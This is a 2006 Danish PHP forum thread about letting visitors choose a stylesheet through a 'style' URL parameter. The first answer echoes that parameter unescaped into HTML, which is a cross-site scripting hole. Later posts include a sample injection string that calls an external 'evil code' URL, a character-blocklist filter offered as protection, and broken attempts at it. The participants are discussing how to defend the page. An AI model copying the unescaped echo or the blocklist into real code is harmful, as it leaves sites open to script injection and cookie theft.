/ Forside / Teknologi / Udvikling / PHP / Nyhedsindlæg
Login
Glemt dit kodeord?
Brugernavn

Kodeord


Reklame
Top 10 brugere
PHP
#NavnPoint
rfh 3959
natmaden 3372
poul_from 3310
funbreak 2700
stone47 2230
Jin2k 1960
Angband 1743
Bjerner 1249
refi 1185
10  Interkril.. 1146
Valgfrit sidedesign
Fra : Erik Ginnerskov


Dato : 17-04-06 22:28

Jeg har en side i asp, hvor brugerne kan vælge mellem en række forskellige
designs, siden skal vises i:

http://hjemmesideskolen.dk/html/testsider/designskift.asp

Hvordan kan man lave noget tilsvarende i php?

--
Med venlig hilsen
Erik Ginnerskov
http://hjemmesideskolen.dk/ - http://ginnerskov.dk/
http://html-faq.dk/



 
 
Henrik Stidsen (17-04-2006)
Kommentar
Fra : Henrik Stidsen


Dato : 17-04-06 22:34

Erik Ginnerskov pretended :
> Hvordan kan man lave noget tilsvarende i php?

<?php
if(isset($_GET["style"]) && $_GET["style"] != "")
{
$style=$_GET["style"];
}
else
{
$style="hss-main.css";
}
?>

<link href="<?php echo $style; ?>" rel="stylesheet" type="text/css">

Utestet, ingen garanti :)

--
Henrik Stidsen - http://henrikstidsen.dk/
"The reason there are two senators for each state is so that one can be
the designated driver." - Jay Leno



Erik Ginnerskov (17-04-2006)
Kommentar
Fra : Erik Ginnerskov


Dato : 17-04-06 23:52

Henrik Stidsen wrote:

> <?php
> if(isset($_GET["style"]) && $_GET["style"] != "")
> {
> $style=$_GET["style"];
> }
> else
> {
> $style="hss-main.css";
> }
>>
>
> <link href="<?php echo $style; ?>" rel="stylesheet" type="text/css">

Lige i øjet. Takker.

--
Med venlig hilsen
Erik Ginnerskov
http://hjemmesideskolen.dk/ - http://ginnerskov.dk/
http://html-faq.dk/



Martin (18-04-2006)
Kommentar
Fra : Martin


Dato : 18-04-06 02:47

Henrik Stidsen wrote:
> Erik Ginnerskov pretended :
>> Hvordan kan man lave noget tilsvarende i php?
>
> <?php
> if(isset($_GET["style"]) && $_GET["style"] != "")
> {
> $style=$_GET["style"];
> }

HUSK lige at lave lidt validering på $_GET["style"] ellers kunne jeg
godt forstille mig af en eller anden gut kunne lave lidt ballade i det.

> else
> {
> $style="hss-main.css";
> }
> ?>
>
> <link href="<?php echo $style; ?>" rel="stylesheet" type="text/css">
>
> Utestet, ingen garanti :)
>

Min løsning ville nok være noget ala dette.

$accepted_styles = array (
"style1.css"
,"style2.css"
,"style3.css"
,....
);

print
(in_array($_GET["style"],$accepted_styles))?$_GET["style"]:"mainstyle.css");

(for brugervenligeheden)

if(in_array($_GET["style"],$accepted_styles)) print $_GET["style"];
else print "mainstyle.css";

Erik Ginnerskov (19-04-2006)
Kommentar
Fra : Erik Ginnerskov


Dato : 19-04-06 23:53

Martin wrote:

> HUSK lige at lave lidt validering på $_GET["style"] ellers kunne jeg
> godt forstille mig af en eller anden gut kunne lave lidt ballade i
> det.

Det værste, der kan ske, er, at brugerne definerer deres eget stylesheet at
se siden med. Det skal de da have lov til.

Det er nogenlunde det samme, de har lavet på csszengarden.com - her kan man
også definere sit eget css og indskrive adressen til det som parameter i
kaldet til siden.

--
Med venlig hilsen
Erik Ginnerskov
http://hjemmesideskolen.dk/ - http://ginnerskov.dk/
http://html-faq.dk/



Peter Brodersen (20-04-2006)
Kommentar
Fra : Peter Brodersen


Dato : 20-04-06 00:45

On Thu, 20 Apr 2006 00:53:12 +0200, "Erik Ginnerskov"
<erik@donotspammmeplease.invalid> wrote:

>Det værste, der kan ske, er, at brugerne definerer deres eget stylesheet at
>se siden med. Det skal de da have lov til.

Nej, brugeren kan bryde ud af den del af HTML'en og smide hvad som
helst indhold ind, inklusive diverse cross-site-scripts, hvor en evt.
aktuel cookie (/session) bliver overført til en fremmed server.

--
- Peter Brodersen
Find dig selv: http://map.ter.dk/

Martin (20-04-2006)
Kommentar
Fra : Martin


Dato : 20-04-06 13:20

Erik Ginnerskov wrote:
> Martin wrote:
>
>> HUSK lige at lave lidt validering på $_GET["style"] ellers kunne jeg
>> godt forstille mig af en eller anden gut kunne lave lidt ballade i
>> det.
>
> Det værste, der kan ske, er, at brugerne definerer deres eget stylesheet at
> se siden med. Det skal de da have lov til.
>
> Det er nogenlunde det samme, de har lavet på csszengarden.com - her kan man
> også definere sit eget css og indskrive adressen til det som parameter i
> kaldet til siden.
>

$_GET["style"] = "stylesheet.css\">print
file_get_contents(\"http://domæne.dk/ondkode.php\");

Noget ala dette, skulle kunne aktivere noget virkelig ondt.
Håber du kan se hvad jeg mener :)

Det er det samme med sql/mail injections, man kan ALTID lave noget
rigtig bras, hvis ikke koden bliver valideret, efter det bliver smidt
ind på serveren.

Peter Brodersen (20-04-2006)
Kommentar
Fra : Peter Brodersen


Dato : 20-04-06 16:43

On Thu, 20 Apr 2006 14:20:19 +0200, Martin <news@natten-i.dk> wrote:

>$_GET["style"] = "stylesheet.css\">print
>file_get_contents(\"http://domæne.dk/ondkode.php\");
>
>Noget ala dette, skulle kunne aktivere noget virkelig ondt.
>Håber du kan se hvad jeg mener :)

Det er dog lidt overdrevet. Der er ingen mulighed for at få evalueret
PHP-koden. Den vil blot blive outputtet.

Men man bør naturligvis stadigvæk selv være herre over omfanget af
outputtet.

--
- Peter Brodersen
Find dig selv: http://map.ter.dk/

Martin (20-04-2006)
Kommentar
Fra : Martin


Dato : 20-04-06 20:38

Peter Brodersen wrote:
> Det er dog lidt overdrevet. Der er ingen mulighed for at få evalueret
> PHP-koden. Den vil blot blive outputtet.

Det er jeg godt klar over... nu er jeg heller ikke specielt
interesseret, i at lave injections, men det var nu bare for at vise
idéen om hvordan ondsindet ting kan komme ind på en side.

Erik Ginnerskov (20-04-2006)
Kommentar
Fra : Erik Ginnerskov


Dato : 20-04-06 22:59

Martin wrote:
> Peter Brodersen wrote:
>> Det er dog lidt overdrevet. Der er ingen mulighed for at få evalueret
>> PHP-koden. Den vil blot blive outputtet.
>
> Det er jeg godt klar over... nu er jeg heller ikke specielt
> interesseret, i at lave injections, men det var nu bare for at vise
> idéen om hvordan ondsindet ting kan komme ind på en side.

Javel. Men den evaluering af input vil da helt ødelægge ideen med, at siden
kan vises med brugerens egen css.

Nogen forslag til, hvodan de to ting kan kombineres?

--
Med venlig hilsen
Erik Ginnerskov
http://hjemmesideskolen.dk/ - http://ginnerskov.dk/
http://html-faq.dk/



Bertel Lund Hansen (21-04-2006)
Kommentar
Fra : Bertel Lund Hansen


Dato : 21-04-06 00:01

Erik Ginnerskov skrev:

> Javel. Men den evaluering af input vil da helt ødelægge ideen med, at siden
> kan vises med brugerens egen css.

Nej nej. Din grundfunktion skal slet ikke ændres. Det er kun
skadelig kode der skal smides i dev/null. Princippet:

if (helt almindeligt input) {
   gør ganske som planlagt;
}
else {
   print "Æh bæh bu!";
   glem alt om input;
}

--
Bertel
http://bertel.lundhansen.dk/      http://fiduso.dk/

Erik Ginnerskov (26-04-2006)
Kommentar
Fra : Erik Ginnerskov


Dato : 26-04-06 22:51

Bertel Lund Hansen wrote:

> if (helt almindeligt input) {
> gør ganske som planlagt;
> }
> else {
> print "Æh bæh bu!";
> glem alt om input;
> }

Hvordan vil det se ud på php'sk?

--
Med venlig hilsen
Erik Ginnerskov
http://hjemmesideskolen.dk/ - http://ginnerskov.dk/
http://html-faq.dk/



Bertel Lund Hansen (27-04-2006)
Kommentar
Fra : Bertel Lund Hansen


Dato : 27-04-06 11:59

Erik Ginnerskov skrev:

>> if (helt almindeligt input) {
>> gør ganske som planlagt;
>> }
>> else {
>> print "Æh bæh bu!";
>> glem alt om input;
>> }

> Hvordan vil det se ud på php'sk?

Jeg har et sted brugt en hjemmelavet funktion som jeg kaldte
is_harmless(). Så kunne jeg skrive i selve koden:

if (is_harmless($username,$logfilename,$newentry)) {
   normal 'naiv' implementation af hvad man nu vil have lavet.
}

Jeg besluttede at en evt. hærværker ikke skulle vide at han blev
afluret, men hvis man vil fortælle ham noget, tilføjer man jo
bare:

else {
   echo "Vi er ikke interesserede i dine forsøg på hackning.";
   (eller hvad man nu vil).
}

$username var et jeg trak ud af formularen, $logfilename angiver
hvilken logfil der skal skrives til, og $newentry var en streng
hvor alle formularelementer var sammenstillet.

Funktionen danner en lowcasestreng som gennemløbes af str_replace()
hvor det så undersøges om der er skadelige tegn. Hvis der er det ,
bliver de udskiftet med et tomt tegn (reelt fjernet). Derefter
opsamles de oplysninger som skal skrives til logfilen, og
endelig sammenlignes det behandlede navn med det oprindelige
lowcasede. Hvis de er ens, er der ikke sket nogen udskiftning,
og så har formularen ikke indeholdt skadelig kode.

Jeg lod formularen sende en mail til mig fordi der i en periode
var en hærværker der bearbejdede formularen en hel del. Jeg fik
så en mail hver gang der var en der brugte formularen. Man kan
også flytte afsendelsen op under betingelsen, så der kun sendes
mail hvis det er et hærværksforsøg.

Til allersidst returneres en boolesk værdi.

Funktionen (forenklet) ser sådan ud. $harmful er de tegn som jeg
gerne vil undgå i formularen, og $harmless består udelukkende af
tomme tegn. Bemærk at jeg normalt bruger enkelte anførselstegn
til at specificere en streng, men man er nødt til at bruge dobbelte
når "\\" skal tolkes som '\':

function is_harmless   ($name,$logfilename,$newentry) {
   // $harmless er lavet rigeligt lang.
   $harmless=array('','','','','','','','','','','','','','','','','');
   // NB! Der optræder punktummer i $hostname.
   $harmful=array('@','%',"\\",'/','<','>','(',')',';','script');
   $lowcasename=strtolower($name);
   $newname=str_replace($harmful,$harmless,$lowcasename);

   // Tjek på brugeren:
   $user_agent = $_SERVER['HTTP_USER_AGENT'];
   $ip = $_SERVER['REMOTE_ADDR'];
   $port = $_SERVER['REMOTE_PORT'];
   $hostname = gethostbyaddr($ip);
   $idag=date('d/m-Y');
   $nu=date('H:i:s');
   $tjekinfo=
      "User_agent: $user_agent\n".
      "IP: $ip\n".
      "Port: $port\n".
      "Hostname: $hostname\n".
      "Dato: $idag Tid: $nu\n".
      "Input: $newentry\n\n";
   $handle=fopen($logfilename,'a');
   fwrite($handle,$tjekinfo);
   fclose($handle);
   // Her tjekkes det om der var blot ét tegn der var harmful.
   // Hvis der *ikke* var, vil $newname være identisk med $lowcasename.
   if ($newname!=$lowcasename)
      $overskrift="Hærværksforsøg";
   else
      $overskrift="Tilmelding til ...";
   mail('nospamfilius@lundhansen.dk',$overskrift,"\n".$tjekinfo);
   return $newname==$lowcasename;
}

--
Bertel
http://bertel.lundhansen.dk/      http://fiduso.dk/

Erik Ginnerskov (27-04-2006)
Kommentar
Fra : Erik Ginnerskov


Dato : 27-04-06 21:07

Bertel Lund Hansen wrote:

> Jeg har et sted brugt en hjemmelavet funktion som jeg kaldte
> is_harmless(). Så kunne jeg skrive i selve koden:
>
> if (is_harmless($username,$logfilename,$newentry)) {
> normal 'naiv' implementation af hvad man nu vil have lavet.
> }

Hele din lange kode lugter lidt af at skulle bruges i forbindelse med en
eller anden form for brugerformular. Men en sådan er slet ikke involveret
her.

Der er blot tale om at kunne vise min side med et af tre forud definerede
css'er eller med et, som brugeren selv har lavet.

Jeg kan slet ikke se, hvordan dine inputvalideringer kan bruges til at
tjekke, hvorvidt der som værdi til parameteren "style" bliver indsat adresse
til et harmløst css eller til noget helt andet.

--
Med venlig hilsen
Erik Ginnerskov
http://hjemmesideskolen.dk/ - http://ginnerskov.dk/
http://html-faq.dk/



Bertel Lund Hansen (28-04-2006)
Kommentar
Fra : Bertel Lund Hansen


Dato : 28-04-06 06:33

Erik Ginnerskov skrev:

> Jeg kan slet ikke se, hvordan dine inputvalideringer kan bruges til at
> tjekke, hvorvidt der som værdi til parameteren "style" bliver indsat adresse
> til et harmløst css eller til noget helt andet.

Hvis der f.eks. forekommer et @ i brugerens style-specifikation,
så er han ude på numre, og der skal lukkes for at specifikationen
kan få effekt.

Det kan du tjekke ved at sende den gennem en tjekrutine i stil
med den jeg skrev og kun acceptere den hvis der returneres true
(ingen problemer).

Den skal rettes til, for jeg har f.eks. forbudt < og >, og det er
jo legale tegn i en style.

--
Bertel
http://bertel.lundhansen.dk/      http://fiduso.dk/

Erik Ginnerskov (28-04-2006)
Kommentar
Fra : Erik Ginnerskov


Dato : 28-04-06 23:22

Bertel Lund Hansen wrote:

> Hvis der f.eks. forekommer et @ i brugerens style-specifikation,
> så er han ude på numre, og der skal lukkes for at specifikationen
> kan få effekt.

Til gengæld vil du også blokere for brug af / - det vil da ellers være en
obligatorisk ingrediens i definition af et fremmed stylesheet.

> Det kan du tjekke ved at sende den gennem en tjekrutine i stil
> med den jeg skrev og kun acceptere den hvis der returneres true
> (ingen problemer).

Jeg har nu siddet og kigget en times tid på de koder, du skrev. Jeg kan ikke
gennemskue, hvordan jeg kan lave en validering af input til mit script:

<?php
if(isset($_GET["style"]) && $_GET["style"] != "")
{
$style=$_GET["style"];
}
else
{
$style="/hss-main.css";
}
?>

Det må være noget i retning af:

<?
$harmful=array('@','%',"\\",'<','>','(',')',';','script');
if not(is_harmful($_GET["style"])) { /* linje 3 her */
if(isset($_GET["style"] ....
....
}
}
?>

Men det fungerer bare ikke, jeg får denne fejlmelding:

parse error, unexpected T_STRING, expecting '(' on line 3

> Den skal rettes til, for jeg har f.eks. forbudt < og >, og det er
> jo legale tegn i en style.

Jeg kan ikke mindes at have set de to tegn brugt i en url.

--
Med venlig hilsen
Erik Ginnerskov
http://hjemmesideskolen.dk/ - http://ginnerskov.dk/
http://html-faq.dk/



Bertel Lund Hansen (29-04-2006)
Kommentar
Fra : Bertel Lund Hansen


Dato : 29-04-06 01:01

Erik Ginnerskov skrev:

> Det må være noget i retning af:

> <?
> $harmful=array('@','%',"\\",'<','>','(',')',';','script');
> if not(is_harmful($_GET["style"])) { /* linje 3 her */
> if(isset($_GET["style"] ....
> ....
> }
> }
> ?>

Du må ikke skrive "not" - i hvert fald må det ikke stå dér. I PHP
bruger man ! for not, og det er ikke en funktion, men skal stå
lige foran det det benægter.

if (!is_harmful($_GET["style"])) { /* linje 3 her */

>> Den skal rettes til, for jeg har f.eks. forbudt < og >, og det er
>> jo legale tegn i en style.

> Jeg kan ikke mindes at have set de to tegn brugt i en url.

Nej, men en URL er ikke den eneste måde at genere på. <script
type='text/javascript'> og så en masse balladekode kan også være
ganske træls. Du kan evt. lade "script" være et element i
$harmful.

--
Bertel
http://bertel.lundhansen.dk/      http://fiduso.dk/

Erik Ginnerskov (29-04-2006)
Kommentar
Fra : Erik Ginnerskov


Dato : 29-04-06 21:49

Bertel Lund Hansen wrote:

> Du må ikke skrive "not" - i hvert fald må det ikke stå dér. I PHP
> bruger man ! for not, og det er ikke en funktion, men skal stå
> lige foran det det benægter.
>
> if (!is_harmful($_GET["style"])) { /* linje 3 her */

Jeg har nu lavet det sådan:

<?php
function is_harmful($harmful) {
$harmful=array('@','%',"\\",'<','>','(',')',';','script');
if(!is_harmful($_GET["style"])) {
if(isset($_GET["style"]) && $_GET["style"] != "")
{
$style=$_GET["style"];
}
else
{
$style="/hss-main.css";
}
}
}
?>

Det giver ikke fejlmelidng, men der bliver ikke indlæst det forventede css -
heller ikke når der bliver klikket på et af de links, der skulle udskifte
css.

--
Med venlig hilsen
Erik Ginnerskov
http://hjemmesideskolen.dk/ - http://ginnerskov.dk/
http://html-faq.dk/



Bertel Lund Hansen (30-04-2006)
Kommentar
Fra : Bertel Lund Hansen


Dato : 30-04-06 11:52

Erik Ginnerskov skrev:

> Jeg har nu lavet det sådan:

Din struktur er forkert. Du har lavet en funktion der kalder sig
selv (uendelig løkke), men som ikke bliver kaldt af nogen
hovedrutine.

Hvordan vil et typisk brugerinput se ud? Jeg har brug for at vide
hvilke specialtegn der kan forekomme. Så skal jeg skrive koden
til dig.

--
Bertel
http://bertel.lundhansen.dk/      http://fiduso.dk/

Erik Ginnerskov (30-04-2006)
Kommentar
Fra : Erik Ginnerskov


Dato : 30-04-06 19:30

Bertel Lund Hansen wrote:

> Hvordan vil et typisk brugerinput se ud? Jeg har brug for at vide
> hvilke specialtegn der kan forekomme.

Det kunne se sådan ud:

<http://hjemmesideskolen.dk/html/testsider/designskift.php?style=http://en-a
ndens-server.dk/hans.css>

Der eksisterer en mulighed for at tegnet ~ forekommer lovligt - bruges
f.eks. på cybercity.dk.

--
Med venlig hilsen
Erik Ginnerskov
http://hjemmesideskolen.dk/ - http://ginnerskov.dk/
http://html-faq.dk/



Erik Ginnerskov (30-04-2006)
Kommentar
Fra : Erik Ginnerskov


Dato : 30-04-06 19:39

Bertel Lund Hansen wrote:
> Erik Ginnerskov skrev:
>
>> Jeg har nu lavet det sådan:
>
> Din struktur er forkert. Du har lavet en funktion der kalder sig
> selv (uendelig løkke), men som ikke bliver kaldt af nogen
> hovedrutine.

Jeg prøvede at ændre lidt på det:

<?php
function is_harmful($harmful) {
$harmful=array('@','%',"\\",'<','>','(',')',';','script'); }
if(!is_harmful($_GET["style"])) {
if(isset($_GET["style"]) && $_GET["style"] != "")
{
$style=$_GET["style"];
}
else
{
$style="../../hss-main.css";
}
}
?>

Nu fungerer det ved lovligt input, men vil det mon fange noget ulovligt?

Jeg prøvede at lave dette input:

....?style=<? phpinfo.php ?>

Det resulterede i, at der slet ikke blev indlæst noget css.

--
Med venlig hilsen
Erik Ginnerskov
http://hjemmesideskolen.dk/ - http://ginnerskov.dk/
http://html-faq.dk/



Geert Lund (30-04-2006)
Kommentar
Fra : Geert Lund


Dato : 30-04-06 21:51

Erik Ginnerskov wrote:

> Jeg prøvede at ændre lidt på det:
>
> <?php
> function is_harmful($harmful) {
> $harmful=array('@','%',"\\",'<','>','(',')',';','script'); }
> if(!is_harmful($_GET["style"])) {
> if(isset($_GET["style"]) && $_GET["style"] != "")
> {
> $style=$_GET["style"];
> }
> else
> {
> $style="../../hss-main.css";
> }
> }
> ?>
>
> Nu fungerer det ved lovligt input, men vil det mon fange noget ulovligt?
>
> Jeg prøvede at lave dette input:
>
> ....?style=<? phpinfo.php ?>
>
> Det resulterede i, at der slet ikke blev indlæst noget css.

Der er nogle fundamentalt helt forkerte ting galt med din funktion og
den bør derfor give - uforudsete resultater...

Du kalder en funktion med variablen $harmful - men samtidig sætter du et
nyt indhold (array) i den samme variabel et øjeblik senere - dvs. du
overskriver _ALTID_ dit input til variablen med indholdet du gerne vil
checke for - det skal give problemer!

Derudover kalder du din funktion rekursivt - hvilket burde få dit script
til at gå i uendelig løkke!

Du returnerer heller ikke noget ud af din funktion - og derfor er dit
eksempel i ovenstående direkte forkert - da der aldig vil blive sat
noget i en global-variabel du kan bruge senere i dit script (læs: $style
vil altid have tomt indhold når du hopper ud af funktionen igen) du skal
huske fx

return $style

i slutningen af din funktion!

Derudover har du blandet $harmful og $_GET['style'] i en sand
forvirring... - da jeg går ud fra at $harmful egentlig skulle indeholde
brugerens inputtede stylesheet til dit script?

Vil se om jeg kan få tid til at skrue noget mere korrekt sammen senere -
men lige nu må det vente...


--
Med venlig hilsen
Geert Lund,
www.GLD.dk

Bertel Lund Hansen (30-04-2006)
Kommentar
Fra : Bertel Lund Hansen


Dato : 30-04-06 22:53

Erik Ginnerskov skrev:

> Jeg prøvede at ændre lidt på det:

Din struktur er stadig helt forkert. Se Geert Lunds svar. Pas
bl.a. på ikke at bruge samme variabelnavn til forskellige ting.

Prøv dette:

<?php
// Funktion:
define('BASICSTYLESHEET', '../../hss-main.css');

function is_harmful($userstring) {
   $harmless = array('','','','','','','','','','','','','','','','','');
   $harmful = array('@','%',"\\",'<','>','(',')',';','script');
   $lowcasestring=strtolower($userstring);
   $newstring=str_replace($harmful,$harmless,$lowcasestring);
   // Hvis de er forskellige, var der en udskiftning - der var altså nogle farlige tegn:
   return $newstring!=$lowcasestring;
}

// Hovedrutinen:
if (isset($_GET["style"])) $style=$_GET['style']; // Saml input op - også en tom streng.
if (is_harmful($style) || $style=='') style=BASICSTYLESHEET;
?>

Jeg har brugt enkelte anførselstegn. Det gør jeg når der ikke
er koder der skal udfoldes.

Definitionen af BASICSTYLESHEET er ikke strengt nødvendig, men
den sørger for to ting:
1.   Specifikationen kan stå først i PHP-filen. Så er det nemmere
   at se hvad der er hardkodet.
2.   Hvis du vil bruge samme angivelse andre steder, bruger du bare
   BASICSTYLESHEET igen. Hvis du senere ændrer specifikationen,
   slår det igennem overalt.

--
Bertel
http://bertel.lundhansen.dk/      http://fiduso.dk/

Erik Ginnerskov (30-04-2006)
Kommentar
Fra : Erik Ginnerskov


Dato : 30-04-06 23:03

Bertel Lund Hansen wrote:

> Din struktur er stadig helt forkert. Se Geert Lunds svar. Pas
> bl.a. på ikke at bruge samme variabelnavn til forskellige ting.

Jeg prøvede at lave denne ændring i de første par linjer:

function is_harmful($bad) {
$bad=array('@','%',"\\",'<','>','(',')',';','script'); }

Det fungerede lige så godt - ved lovligt input.

> Prøv dette:

[klip kode]>

Det giver denne fejlmelding:

parse error, unexpected '=' on line 16

Linje 16 er denne:

if (is_harmful($style) || $style=='') style=BASICSTYLESHEET;

--
Med venlig hilsen
Erik Ginnerskov
http://hjemmesideskolen.dk/ - http://ginnerskov.dk/
http://html-faq.dk/



Erik Ginnerskov (30-04-2006)
Kommentar
Fra : Erik Ginnerskov


Dato : 30-04-06 23:23

Erik Ginnerskov wrote:

> Det giver denne fejlmelding:
>
> parse error, unexpected '=' on line 16
>
> Linje 16 er denne:
>
> if (is_harmful($style) || $style=='') style=BASICSTYLESHEET;

Jeg så lige, at du havde glemt et $, kodelinjen skal se sådan ud:

if (is_harmful($style) || $style=='') $style=BASICSTYLESHEET;

.... så har den præcis samme virkning som det, jeg selv fik strikket sammen:

Ved lovligt eller intet input fungerer det upåklageligt.
Ved ulovligt input indlæses slet ikke noget css.

--
Med venlig hilsen
Erik Ginnerskov
http://hjemmesideskolen.dk/ - http://ginnerskov.dk/
http://html-faq.dk/



Martin (30-04-2006)
Kommentar
Fra : Martin


Dato : 30-04-06 23:31

Erik Ginnerskov wrote:
> Bertel Lund Hansen wrote:
>
>> Din struktur er stadig helt forkert. Se Geert Lunds svar. Pas
>> bl.a. på ikke at bruge samme variabelnavn til forskellige ting.
>
> Jeg prøvede at lave denne ændring i de første par linjer:
>
> function is_harmful($bad) {
> $bad=array('@','%',"\\",'<','>','(',')',';','script'); }
>
> Det fungerede lige så godt - ved lovligt input.
>
>> Prøv dette:
>
> [klip kode]>
>
> Det giver denne fejlmelding:
>
> parse error, unexpected '=' on line 16
>
> Linje 16 er denne:
>
> if (is_harmful($style) || $style=='') style=BASICSTYLESHEET;
>

prøv at skrive $style=BASIC... :)

Bertel Lund Hansen (30-04-2006)
Kommentar
Fra : Bertel Lund Hansen


Dato : 30-04-06 23:33

Erik Ginnerskov skrev:

> ... så har den præcis samme virkning som det, jeg selv fik strikket sammen:

Det håber jeg sørme ikke. Det er helt tilfældigt hvis din gamle
kode virker (eller blot ser sådan ud).

> Ved lovligt eller intet input fungerer det upåklageligt.
> Ved ulovligt input indlæses slet ikke noget css.

Var det ikke det du ønskede? Hvis du vil behandle de tilfælde
hvor der bruges farlige tegn, anderledes, kan du gøre det i
hovedrutinen:

// Hovedrutinen:
if (isset($_GET["style"])) $style=$_GET['style']; // Saml input op - også en tom streng.
if (is_harmful($style) || $style=='') style=BASICSTYLESHEET;
else { her kan du tage dig af folk der med vilje eller ved uheld bruger uønskede tegn ... }
?>

--
Bertel
http://bertel.lundhansen.dk/      http://fiduso.dk/

Erik Ginnerskov (01-05-2006)
Kommentar
Fra : Erik Ginnerskov


Dato : 01-05-06 00:05

Bertel Lund Hansen wrote:

>> ... så har den præcis samme virkning som det, jeg selv fik strikket
sammen:

> Det håber jeg sørme ikke. Det er helt tilfældigt hvis din gamle
> kode virker (eller blot ser sådan ud).

Det har også denne effekt:

<citat>
Ved lovligt eller intet input fungerer det upåklageligt.
Ved ulovligt input indlæses slet ikke noget css.
</citat>

Koden:

function is_harmful($bad) {
$bad=array('@','%',"\\",'<','>','(',')',';','script'); }
if(!is_harmful($_GET["style"])) {
if(isset($_GET["style"]) && $_GET["style"] != "")
{
$style=$_GET["style"];
}
else
{
$style="../../hss-main.css";
}
}

Begge scripts smider i øvrigt noget tekst ind før DTD, hvis der slet ikke er
defineret noget input (siden kaldes uden parameter).

Mit script:
<br />
<b>Notice</b>: Undefined index: style in
<b>C:\Dokumenter\hjs\html\testsider\head7dp.inc</b> on line <b>4</b><br />

Dit script:
<br />
<b>Notice</b>: Undefined variable: style in
<b>C:\Dokumenter\hjs\html\testsider\head7dp.inc</b> on line <b>15</b><br />
<br />
<b>Notice</b>: Undefined variable: style in
<b>C:\Dokumenter\hjs\html\testsider\head7dp.inc</b> on line <b>15</b><br />

Jeg kan ikke lige se, hvorfor dit script udskriver fejlmeldingen to gange.

> Var det ikke det du ønskede?

Meningen var, at hvis input var ulovligt eller slet ikke til stede, skulle
standard-css'en indlæses (../../hss-main.css) og ingen fejlmeldinger skrevet
nogen steder.

Hvis du vil behandle de tilfælde
> hvor der bruges farlige tegn, anderledes,

Det blev netop frarådet i et andet indlæg.

--
Med venlig hilsen
Erik Ginnerskov
http://hjemmesideskolen.dk/ - http://ginnerskov.dk/
http://html-faq.dk/



Geert Lund (01-05-2006)
Kommentar
Fra : Geert Lund


Dato : 01-05-06 00:19

Erik Ginnerskov wrote:

> Begge scripts smider i øvrigt noget tekst ind før DTD, hvis der slet ikke er
> defineret noget input (siden kaldes uden parameter).

Men det ville jo også hjælpe hvis du postede hele dit script i stedet
for kun den funktion du har "problemer med".

Hvis det kode du skriver virker pt. nogle gange og nogle gange ikke - så
er det altså fordi 1) din kode er direkte forkert - hvilket vi har
prøvet at fortælle dig og 2) der måske er noget mere
forkert/uhensigtsmæssigt i resten af din kode.

> Mit script:
> <br />
> <b>Notice</b>: Undefined index: style in
> <b>C:\Dokumenter\hjs\html\testsider\head7dp.inc</b> on line <b>4</b><br />

Jeg vil gætte på at det i dit script er:

if(!is_harmful($_GET["style"])) {

Da denne ikke er sat (du checket det ikke) vil der opstå en fejl, da du
medsender en variabel til en funktion uden at checke om den er sat
(isset) - får du givetvis fejl ala dem du påpeger her.

Men post hele koden i sammenhæng - evt. på pastebin - så er det lidt
nemmere at se hvad der er galt.

--
Med venlig hilsen
Geert Lund,
www.GLD.dk

Erik Ginnerskov (01-05-2006)
Kommentar
Fra : Erik Ginnerskov


Dato : 01-05-06 00:25

Geert Lund wrote:

>> Begge scripts smider i øvrigt noget tekst ind før DTD, hvis der slet
>> ikke er defineret noget input (siden kaldes uden parameter).
>
> Men det ville jo også hjælpe hvis du postede hele dit script i stedet
> for kun den funktion du har "problemer med".

Samme tanke fik jeg. Det ligger her:

http://hjemmesideskolen.dk/html/testsider/designskift.php - mit
http://hjemmesideskolen.dk/html/testsider/designskift2.php - Bertels

Koderne er skrevet på siderne.

--
Med venlig hilsen
Erik Ginnerskov
http://hjemmesideskolen.dk/ - http://ginnerskov.dk/
http://html-faq.dk/



Geert Lund (01-05-2006)
Kommentar
Fra : Geert Lund


Dato : 01-05-06 00:39

Erik Ginnerskov wrote:

> http://hjemmesideskolen.dk/html/testsider/designskift.php - mit
> http://hjemmesideskolen.dk/html/testsider/designskift2.php - Bertels

Kigger lige på det - men noget undrer mig - hvordan kan du tage
copyright på scripts/funktioner andre sidder her og udvikler for dig?

Derudover synes jeg det er direkte forkasteligt at du skriver en artikel
om hvor let det er at inkludere eksterne scripts - uden med 1 ord nævner
sikkerheds aspektet som er hele grunden til vi sidder og hjælper dig pt.?

Ikke engang Bertels kommentarer i koden er kommet med - hvordan
forventer du at brugerne skal forstå funktionen is_harmful og at den
faktisk er _RIGTIG VIGTIG_ hvis man vil inkludere eksternt indtastede
styles?

Yderligere: "Bemærk, at de to teknikker (serverside-styret css-skift og
css-skift via en browserfunktion) ikke er glade for at arbejde sammen."
- den forstår jeg simpelthen ikke?

Der er ikke noget til hindre i at gøre begge dele! Det skal bare kodes
ordentligt... hvad er det du ikke mener kan arbejde sammen?


Men ingen af de to sider du har postet link til indeholder din reelle
source hvor man kan se hvad der præcist går galt for dig... og
linienumrene... JEg vil se den testfil der giver dig problemer?


--
Med venlig hilsen
Geert Lund,
www.GLD.dk

Erik Ginnerskov (01-05-2006)
Kommentar
Fra : Erik Ginnerskov


Dato : 01-05-06 00:43

Geert Lund wrote:

> men noget undrer mig - hvordan kan du tage
> copyright på scripts/funktioner andre sidder her og udvikler for dig?

Det gør jeg da bestemt heller ikke. Jeg lægger netop scripts ud, så andre
kan kopiere og bruge dem.

Det jeg forbeholder mig copyright på er undervisningsmaterialet som samlet
værk. Jeg kan ikke se nogen grund til, at jeg sidder og bruger mange timer
på at lave gode letforståelige forklaringer, hvorefter andre kopierer
siderne og offentliggør dem som deres egne - det har jeg været ude for flere
gange.

Læs denne side:

http://hjemmesideskolen.dk/info/owner.asp

--
Med venlig hilsen
Erik Ginnerskov
http://hjemmesideskolen.dk/ - http://ginnerskov.dk/
http://html-faq.dk/



Geert Lund (01-05-2006)
Kommentar
Fra : Geert Lund


Dato : 01-05-06 01:34

Erik Ginnerskov wrote:

> Det gør jeg da bestemt heller ikke. Jeg lægger netop scripts ud, så andre
> kan kopiere og bruge dem.
>
> Det jeg forbeholder mig copyright på er undervisningsmaterialet som samlet
> værk. Jeg kan ikke se nogen grund til, at jeg sidder og bruger mange timer
> på at lave gode letforståelige forklaringer, hvorefter andre kopierer
> siderne og offentliggør dem som deres egne - det har jeg været ude for flere
> gange.
>
> Læs denne side:
> http://hjemmesideskolen.dk/info/owner.asp

Det ændrer dog ikke rigtig min holdning - låner/bruger man koder fra
ander - er det mindste man kan gøre da at kreditere dem for det,
specielt når det bruges i offentlig sammenhæng hvor andre opfordres til
at klip-kopiere...

Jeg er samtidig stadig ret forarget over at du på en hjemmesideskole
kaster dig ud i at lave scripts der skriger til himlen efter at åbne for
mulig crosssite-scripting, sql-injections, cookie injects etc. Men endnu
